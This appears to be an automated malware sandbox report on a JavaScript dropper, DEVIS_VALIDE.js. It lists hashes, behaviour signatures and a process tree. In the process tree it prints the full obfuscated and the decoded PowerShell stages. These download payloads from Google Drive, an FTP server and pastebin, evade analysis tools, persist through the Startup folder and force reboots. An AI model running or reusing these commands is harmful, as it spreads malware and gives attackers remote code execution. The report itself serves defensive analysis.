Overview

overview

10

Static

static

1

DEVIS_VALIDE.js

windows7-x64

10

DEVIS_VALIDE.js

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 10:05

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Report Analysis Logs

General

  • Target

    DEVIS_VALIDE.js

  • Size

    199KB

  • MD5

    9feff1a23db299a128f16bc6091df793

  • SHA1

    2041542fb6ddc259c2888d587f75a06947d6c0dc

  • SHA256

    67c03094daa4c6180373eb864cb86f6ae156bc0481115d826917dd950f8e99d9

  • SHA512

    6de1016f37d3df9d6b428b19076ea34fe2e9db0bbe09aa9bbaa637237b8130b47fd119bb39274ec618b3e4238ccbf53a4e7a562e2c9c714b73c6392a6a1102c2

  • SSDEEP

    3072:AW1tKbWXt+NWXt+NWXt+NWXt+NWXt+NWXt+3WXt+NWXt+NWXt+NWXt+NWXt+NWXC:W

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\DEVIS_VALIDE.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'EAG8Adw' + [char]66 + 'uAGwAbw' + [char]66 + 'hAGQARg' + [char]66 + 'pAGwAZQAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACwAIAAoACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACkAIAApACAAOwAkAHQAcA' + [char]66 + 'XAGsARgAgAD0AIAAoACAAJw' + [char]66 + 'DADoAXA' + [char]66 + 'VAHMAZQ' + [char]66 + 'yAHMAXAAnACAAKwAgAFsARQ' + [char]66 + 'uAHYAaQ' + [char]66 + 'yAG8Abg' + [char]66 + 'tAGUAbg' + [char]66 + '0AF0AOgA6AFUAcw' + [char]66 + 'lAHIATg' + [char]66 + 'hAG0AZQAgACkAOw' + [char]66 + 'IAGgAWA' + [char]66 + 'IAEIAIAA9ACAAKAAgACQASA' + [char]66 + '6AE8ATQ' + [char]66 + 'qACAAKwAgACcAXA' + [char]66 + 'VAHAAdw' + [char]66 + 'pAG4ALg' + [char]66 + 'tAHMAdQAnACAAKQAgADsAIA' + [char]66 + 'wAG8Adw' + [char]66 + 'lAHIAcw' + [char]66 + 'oAGUAbA' + [char]66 + 'sAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + '3AHUAcw' + [char]66 + 'hAC4AZQ' + [char]66 + '4AGUAIA' + [char]66 + 'IAGgAWA' + [char]66 + 'IAEIAIAAvAHEAdQ' + [char]66 + 'pAGUAdAAgAC8Abg' + [char]66 + 'vAHIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQAIAA7ACAAQw' + [char]66 + 'vAHAAeQAtAEkAdA' + [char]66 + 'lAG0AIAAnACUARA' + [char]66 + 'DAFAASg' + [char]66 + 'VACUAJwAgAC0ARA' + [char]66 + 'lAHMAdA' + [char]66 + 'pAG4AYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uACAAKAAgACQAdA' + [char]66 + 'wAFcAaw' + [char]66 + 'GACAAKwAgACcAXA' + [char]66 + '' + [char]66 + 'AHAAcA' + [char]66 + 'EAGEAdA' + [char]66 + 'hAFwAUg' + [char]66 + 'vAGEAbQ' + [char]66 + 'pAG4AZw' + [char]66 + 'cAE0AaQ' + [char]66 + 'jAHIAbw' + [char]66 + 'zAG8AZg' + [char]66 + '0AFwAVw' + [char]66 + 'pAG4AZA' + [char]66 + 'vAHcAcw' + [char]66 + 'cAFMAdA' + [char]66 + 'hAHIAdAAgAE0AZQ' + [char]66 + 'uAHUAXA' + [char]66 + 'QAHIAbw' + [char]66 + 'nAHIAYQ' + [char]66 + 'tAHMAXA' + [char]66 + 'TAHQAYQ' + [char]66 + 'yAHQAdQ' + [char]66 + 'wACcAIAApACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7AHAAbw' + [char]66 + '3AGUAcg' + [char]66 + 'zAGgAZQ' + [char]66 + 'sAGwALg' + [char]66 + 'lAHgAZQAgAC0AYw' + [char]66 + 'vAG0AbQ' + [char]66 + 'hAG4AZAAgACcAcw' + [char]66 + 'sAGUAZQ' + [char]66 + 'wACAAMQA4ADAAJwA7ACAAcw' + [char]66 + 'oAHUAdA' + [char]66 + 'kAG8Adw' + [char]66 + 'uAC4AZQ' + [char]66 + '4AGUAIAAvAHIAIAAvAHQAIAAwACAALw' + [char]66 + 'mACAAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAew' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAEMAZQ' + [char]66 + 'yAHQAaQ' + [char]66 + 'mAGkAYw' + [char]66 + 'hAHQAZQ' + [char]66 + 'WAGEAbA' + [char]66 + 'pAGQAYQ' + [char]66 + '0AGkAbw' + [char]66 + 'uAEMAYQ' + [char]66 + 'sAGwAYg' + [char]66 + 'hAGMAawAgAD0AIA' + [char]66 + '7ACQAdA' + [char]66 + 'yAHUAZQ' + [char]66 + '9ACAAOw' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'TAGUAcg' + [char]66 + '2AGkAYw' + [char]66 + 'lAFAAbw' + [char]66 + 'pAG4AdA' + [char]66 + 'NAGEAbg' + [char]66 + 'hAGcAZQ' + [char]66 + 'yAF0AOgA6AFMAZQ' + [char]66 + 'jAHUAcg' + [char]66 + 'pAHQAeQ' + [char]66 + 'QAHIAbw' + [char]66 + '0AG8AYw' + [char]66 + 'vAGwAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AUw' + [char]66 + 'lAGMAdQ' + [char]66 + 'yAGkAdA' + [char]66 + '5AFAAcg' + [char]66 + 'vAHQAbw' + [char]66 + 'jAG8AbA' + [char]66 + 'UAHkAcA' + [char]66 + 'lAF0AOgA6AFQAbA' + [char]66 + 'zADEAMgAgADsAaQ' + [char]66 + 'mACgAKA' + [char]66 + 'nAGUAdAAtAHAAcg' + [char]66 + 'vAGMAZQ' + [char]66 + 'zAHMAIAAnAFcAaQ' + [char]66 + 'yAGUAcw' + [char]66 + 'oAGEAcg' + [char]66 + 'rACcALAAnAGEAcA' + [char]66 + 'hAHQAZQ' + [char]66 + 'EAE4AUwAnACwAJw' + [char]66 + 'hAG4AYQ' + [char]66 + 'sAHkAeg' + [char]66 + 'lACcAIAAtAGUAYQAgAFMAaQ' + [char]66 + 'sAGUAbg' + [char]66 + '0AGwAeQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGkAbg' + [char]66 + '1AGUAKQAgAC0AZQ' + [char]66 + 'xACAAJA' + [char]66 + 'OAHUAbA' + [char]66 + 'sACkAewAgAA0ACgAgACAAIAAgACAAIAAgAA0ACg' + [char]66 + '9AA0ACgANAAoAZQ' + [char]66 + 'sAHMAZQ' + [char]66 + '7ACAADQAKAFIAZQ' + [char]66 + 'zAHQAYQ' + [char]66 + 'yAHQALQ' + [char]66 + 'DAG8AbQ' + [char]66 + 'wAHUAdA' + [char]66 + 'lAHIAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsADQAKACAAIAAgACAAIAAgAGUAeA' + [char]66 + 'pAHQAIAA7AA0ACgAgAH0AIAA7ACQAag' + [char]66 + 'sAGMAcQ' + [char]66 + 'qACAAPQAgACgAJw' + [char]66 + 'mAHQAcAA6AC8ALw' + [char]66 + 'kAGUAcw' + [char]66 + 'jAGsAdg' + [char]66 + 'iAHIAYQ' + [char]66 + '0ADEAQA' + [char]66 + 'mAHQAcAAuAGQAZQ' + [char]66 + 'zAGMAaw' + [char]66 + '2AGIAcg' + [char]66 + 'hAHQALg' + [char]66 + 'jAG8AbQAuAGIAcgAvAFUAcA' + [char]66 + 'jAHIAeQ' + [char]66 + 'wAHQAZQ' + [char]66 + 'yACcAIAArACAAJwAvADAAMgAvAEQATA' + [char]66 + 'MADAAMQAuAHQAeA' + [char]66 + '0ACcAIAApADsAJA' + [char]66 + 'JAGUAcA' + [char]66 + 'HAFEAIAA9ACAAKAAgAFsAUw' + [char]66 + '5AHMAdA' + [char]66 + 'lAG0ALg' + [char]66 + 'JAE8ALg' + [char]66 + 'QAGEAdA' + [char]66 + 'oAF0AOgA6AEcAZQ' + [char]66 + '0AFQAZQ' + [char]66 + 'tAHAAUA' + [char]66 + 'hAHQAaAAoACkAIAArACAAJw' + [char]66 + 'kAGwAbAAwADEALg' + [char]66 + '0AHgAdAAnACkAOwAkAE8Aag' + [char]66 + 'yAFIAUAAgAD0AIAAoAC0Aag' + [char]66 + 'vAGkAbgAgAFsAYw' + [char]66 + 'oAGEAcg' + [char]66 + 'bAF0AXQAoADEAMAAwACwAMQAwADEALAAxADEANQAsADkAOQAsADEAMAA3ACwAMQAxADgALAA5ADgALAAxADEANAAsADkANwAsADEAMQA2ACwANAA5ACkAKQAgADsAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAIAA9ACAAKAAtAGoAbw' + [char]66 + 'pAG4AIA' + [char]66 + 'bAGMAaA' + [char]66 + 'hAHIAWw' + [char]66 + 'dAF0AKAAxADAAMgAsACAAOAA5ACwAIAAxADEANwAsACAAMQAwADAALAAgADgAOQAsACAANAA5ACwAIAA1ADMALAAgADUANQAsACAANQA2ACwAIAA2ADQALAAgADYANAAsACAANgA0ACwAIAA2ADQALAAgADYANAAsACAANgA0ACAAKQApACAAOwAkAHcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAPQAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAE4AZQ' + [char]66 + '0AC4AVw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQAIAA7ACQAdw' + [char]66 + 'lAGIAQw' + [char]66 + 'sAGkAZQ' + [char]66 + 'uAHQALg' + [char]66 + 'DAHIAZQ' + [char]66 + 'kAGUAbg' + [char]66 + '0AGkAYQ' + [char]66 + 'sAHMAIAA9ACAAbg' + [char]66 + 'lAHcALQ' + [char]66 + 'vAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'OAGUAdA' + [char]66 + '3AG8Acg' + [char]66 + 'rAEMAcg' + [char]66 + 'lAGQAZQ' + [char]66 + 'uAHQAaQ' + [char]66 + 'hAGwAKAAkAE8Aag' + [char]66 + 'yAFIAUAAsACAAJA' + [char]66 + 'sAGwAbA' + [char]66 + 'HAHEAKQAgADsAJA' + [char]66 + 'SAFYAVQ' + [char]66 + 'YAHYAIAA9ACAAJA' + [char]66 + '3AGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'qAGwAYw' + [char]66 + 'xAGoAIAApACAAOwAkAFIAVg' + [char]66 + 'VAFgAdgAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQASQ' + [char]66 + 'lAHAARw' + [char]66 + 'RACAALQ' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAAnAFUAVA' + [char]66 + 'GADgAJwAgAC0AZg' + [char]66 + 'vAHIAYw' + [char]66 + 'lACAAOwAkAFMAVA' + [char]66 + 'mAEcAbAAgAD0AIAAoACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQAgACsAIAAnAGQAbA' + [char]66 + 'sADAAMgAuAHQAeA' + [char]66 + '0ACcAKQAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4AIAA9ACAATg' + [char]66 + 'lAHcALQ' + [char]66 + 'PAGIAag' + [char]66 + 'lAGMAdAAgAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ATg' + [char]66 + 'lAHQALg' + [char]66 + 'XAGUAYg' + [char]66 + 'DAGwAaQ' + [char]66 + 'lAG4AdAAgADsAJA' + [char]66 + 'QAGgAcg' + [char]66 + 'sAE4ALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAAgAD0AIAAoACAARw' + [char]66 + 'lAHQALQ' + [char]66 + 'DAG8Abg' + [char]66 + '0AGUAbg' + [char]66 + '0ACAALQ' + [char]66 + 'QAGEAdA' + [char]66 + 'oACAAJA' + [char]66 + 'JAGUAcA' + [char]66 + 'HAFEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAD0AIAAkAFAAaA' + [char]66 + 'yAGwATgAuAEQAbw' + [char]66 + '3AG4AbA' + [char]66 + 'vAGEAZA' + [char]66 + 'TAHQAcg' + [char]66 + 'pAG4AZwAoACAAJA' + [char]66 + 'EAEgAeg' + [char]66 + 'VAEEAIAApACAAOwAkAHUAVA' + [char]66 + 'sAEgAegAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAALQ' + [char]66 + 'mAG8Acg' + [char]66 + 'jAGUAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAPQAgACcAJA' + [char]66 + 'yAHkAYQ' + [char]66 + 'lAEcAIAA9ACAAKA' + [char]66 + 'HAGUAdAAtAEMAbw' + [char]66 + 'uAHQAZQ' + [char]66 + 'uAHQAIAAtAFAAYQ' + [char]66 + '0AGgAIAAnACAAKwAgACQAUw' + [char]66 + 'UAGYARw' + [char]66 + 'sACAAKwAgACcAIAAtAEUAbg' + [char]66 + 'jAG8AZA' + [char]66 + 'pAG4AZwAgAFUAVA' + [char]66 + 'GADgAKQA7ACcAIAA7ACQATQ' + [char]66 + 'PAEQAUg' + [char]66 + 'nACAAKwA9ACAAJw' + [char]66 + 'bAEIAeQ' + [char]66 + '0AGUAWw' + [char]66 + 'dAF0AIAAkAEYAeQ' + [char]66 + 'mAGQAegAgAD0AIA' + [char]66 + 'bAHMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4AQw' + [char]66 + 'vAG4Adg' + [char]66 + 'lAHIAdA' + [char]66 + 'dADoAOg' + [char]66 + 'GAHIAbw' + [char]66 + 'tAEIAYQ' + [char]66 + 'zAGUANgA0AFMAdA' + [char]66 + 'yAGkAbg' + [char]66 + 'nACgAIAAkAHIAeQ' + [char]66 + 'hAGUARwAuAHIAZQ' + [char]66 + 'wAGwAYQ' + [char]66 + 'jAGUAKAAnACcAkyE6AJMhJwAnACwAJwAnAEEAJwAnACkAIAApACAAOwAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEEAcA' + [char]66 + 'wAEQAbw' + [char]66 + 'tAGEAaQ' + [char]66 + 'uAF0AOgA6AEMAdQ' + [char]66 + 'yAHIAZQ' + [char]66 + 'uAHQARA' + [char]66 + 'vAG0AYQ' + [char]66 + 'pAG4ALg' + [char]66 + 'MAG8AYQ' + [char]66 + 'kACgAIAAkAEYAeQ' + [char]66 + 'mAGQAegAgACkALgAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcARw' + [char]66 + 'lAHQAVA' + [char]66 + '5AHAAZQAoACAAJwAnAEMAbA' + [char]66 + 'hAHMAcw' + [char]66 + 'MAGkAYg' + [char]66 + 'yAGEAcg' + [char]66 + '5ADMALg' + [char]66 + 'DAGwAYQ' + [char]66 + 'zAHMAMQAnACcAIAApAC4ARw' + [char]66 + 'lAHQATQAnACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgACsAPQAgACcAZQ' + [char]66 + '0AGgAbw' + [char]66 + 'kACgAIAAnACcAcA' + [char]66 + 'yAEYAVg' + [char]66 + 'JACcAJwAgACkALg' + [char]66 + 'JAG4Adg' + [char]66 + 'vAGsAZQAoACAAJA' + [char]66 + 'uAHUAbA' + [char]66 + 'sACAALAAgAFsAbw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAWw' + [char]66 + 'dAF0AIAAoACAAJwAnAGsANw' + [char]66 + 'OAG4ATQ' + [char]66 + 'DAFAAQwAvAHcAYQ' + [char]66 + 'yAC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'uAGkAYg' + [char]66 + 'lAHQAcw' + [char]66 + 'hAHAALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAJwAgACwAIAAnACcAJQ' + [char]66 + 'EAEMAUA' + [char]66 + 'KAFUAJQAnACcAIAAsACAAIAAnACcARAAgAEQARA' + [char]66 + 'SAGUAZw' + [char]66 + '' + [char]66 + 'AHMAbQAnACcAIAAgACkAIAApADsAJwA7ACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAPQAgACgAIA' + [char]66 + 'bAFMAeQ' + [char]66 + 'zAHQAZQ' + [char]66 + 'tAC4ASQ' + [char]66 + 'PAC4AUA' + [char]66 + 'hAHQAaA' + [char]66 + 'dADoAOg' + [char]66 + 'HAGUAdA' + [char]66 + 'UAGUAbQ' + [char]66 + 'wAFAAYQ' + [char]66 + '0AGgAKAApACAAKwAgACcAZA' + [char]66 + 'sAGwAMAAzAC4AcA' + [char]66 + 'zADEAJwApACAAOwAkAE0ATw' + [char]66 + 'EAFIAZwAgAHwAIA' + [char]66 + 'PAHUAdAAtAEYAaQ' + [char]66 + 'sAGUAIAAtAEYAaQ' + [char]66 + 'sAGUAUA' + [char]66 + 'hAHQAaAAgACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAIAAtAGYAbw' + [char]66 + 'yAGMAZQAgADsAcA' + [char]66 + 'vAHcAZQ' + [char]66 + 'yAHMAaA' + [char]66 + 'lAGwAbAAgAC0ARQ' + [char]66 + '4AGUAYw' + [char]66 + '1AHQAaQ' + [char]66 + 'vAG4AUA' + [char]66 + 'vAGwAaQ' + [char]66 + 'jAHkAIA' + [char]66 + 'CAHkAcA' + [char]66 + 'hAHMAcwAgAC0ARg' + [char]66 + 'pAGwAZQAgACQAVg' + [char]66 + 'CAFcAVw' + [char]66 + '6ACAAOw' + [char]66 + '9ADsA';$jPhaA = $jPhaA.replace('革','B') ;$jPhaA = [System.Convert]::FromBase64String( $jPhaA ) ;;;$jPhaA = [System.Text.Encoding]::Unicode.GetString( $jPhaA ) ;$jPhaA = $jPhaA.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\DEVIS_VALIDE.js') ;powershell $jPhaA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://[email protected]/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe HhXHB /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2652
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" HhXHB /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
